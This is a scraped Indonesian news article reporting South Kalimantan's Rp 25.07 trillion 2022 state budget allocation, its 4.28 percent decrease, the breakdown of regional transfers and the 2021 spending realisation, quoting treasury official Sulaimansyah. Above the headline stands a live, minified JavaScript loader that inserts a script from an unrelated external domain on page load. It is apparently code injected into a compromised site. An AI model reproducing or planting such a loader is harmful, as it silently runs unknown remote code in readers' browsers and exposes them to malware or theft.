(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Kalsel Terima APBN 2022 Rp 25,07 Triliun, Ada Penurunan 4,28 Persen

KANALKALIMANTAN.COM, BANJARMASIN – Provinsi Kalimantan Selatan (Kalsel) menerima alokasi dana APBN tahun 2022 sebesar Rp 25,07 triliun.

Dana itu berasal dari belanja pemerintah pusat sebesar Rp 8,18 triliun, serta belanja Transfer ke Daerah dan Dana Desa (TKDD) sebesar Rp 16,89 triliun.

Dibandingkan alokasi APBN tahun 2021, terjadi penurunan sebesar 4,28 persen atau Rp 1,2 triliun, karena menurunnya belanja sebesar 13,60 persen atau Rp 1,29 triliun. Sementara alokasi TKDD mengalami kenaikan sebesar 0,99 persen atau Rp 165,04 miliar.

Kepala Kanwil Ditjen Perbendaharaan Kalimantan Selatan (Kalsel), Sulaimansyah, menjelaskan penurunan terjadi karena alokasi belanja kementerian lembaga dan TKDD secara nasional mengalami penurunan. Jika dibandingkan proporsi alokasi pagu APBN 2022 di Kalsel terhadap pagu APBN nasional, pada dasarnya mengalami kenaikan dari 1,43 persen di tahun 2021, menjadi 1,46 persen di tahun 2022.

“Dengan demikian, keberpihakan dukungan pemerintah pusat terhadap pembangunan Kalsel walaupun di masa pandemi masih stabil,” ujar Sulaimansyah, saat mendampingi Gubernur Kalsel saat penyerahan Daftar Isian Pelaksanaan Anggaran (DIPA) petikan dan buku daftar alokasi TKDD kepada satuan kerja kementerian lembaga dan Bupati/Wali Kota se-Kalsel, Jumat (3/12/2021).

“DIPA yang diserahkan pada hari ini berjumlah 541 DIPA, dengan nilai nominal Rp8,18 triliun, terdiri atas 40 DIPA SKPD sebesar Rp 162,80 miliar, 501 DIPA satuan kerja instansi vertikal sebesar Rp 8,02 triliun,” kata Sulaimansyah.

Sulaimansyah menjelaskan, belanja TKDD tahun 2022 diarahkan pada penguatan kualitas desentralisasi fiskal yang ditujukan untuk pemulihan ekonomi dan peningkatan kualitas pelaksanaan guna mendukung kinerja daerah.

Kebijakan TKDD tahun 2022, yaitu mempercepat pelaksanaan belanja di daerah melalui transfer berbasis kinerja, dengan memperhatikan pelaksanaan penyerapan anggaran dan sinergi penganggaran pusat dan daerah.

“Penggunaan TKDD diarahkan untuk belanja-belanja strategis, termasuk peningkatan kualitas infrastruktur publik, pemulihan ekonomi, pembangunan SDM, serta kualitas pelayanan publik,” ujar Sulaimansyah.

Untuk belanja TKDD di Kalsel, terdapat 10 pemerintah daerah yang mengalami kenaikan alokasi TKDD, dan 4 pemerintah daerah mengalami penurunan aolkasi TKDD pada tahun 2022. Kenaikan tertinggi berada di Kabupaten Balangan yang berasal dari dana bagi hasil sumber daya alam (DBH SDA).

“Alokasi TKDD tahun 2022 ditetapkan sebesar Rp 16,89 triliun dengan rincian, dana bagi hasil Rp 4,30 triliun, DAK sebesar Rp 7,49 triliun, DAK fisik sebesar Rp1,28 triliun, DAK non fisik sebesar Rp 2,30 triliun, dana insentif daerah sebesar Rp 91,21 miliar, dan dana desa sebesar Rp 1,43 triliun,” ucap Sulaimansyah.

Sementara terkait realisasi APBN tahun 2021 di Kalsel, Sulaimansyah menyebutkan sampai dengan 30 November, telah mencapai Rp 23,65 triliun atau 90,28 persen dari pagu Rp 26,19 triliun.

“Capaian tersebut berasal dari kontribusi realisasi belanja kementerian lembaga sebesar Rp 7,87 triliun dan realisasi belanja TKDD sebesar Rp 15,78 triliun. Sampai dengan akhir tahun 2021, realisasi untuk belanja kementerian lembaga di Kalsel ditargetkan sebesar Rp 9,07 triliun dan untuk belanja TKDD ditargetkan sebesar Rp 16,43 triliun,” kata Sulaimansyah. (kanalkalimantan.com/al)

Reporter : al
Editor : bie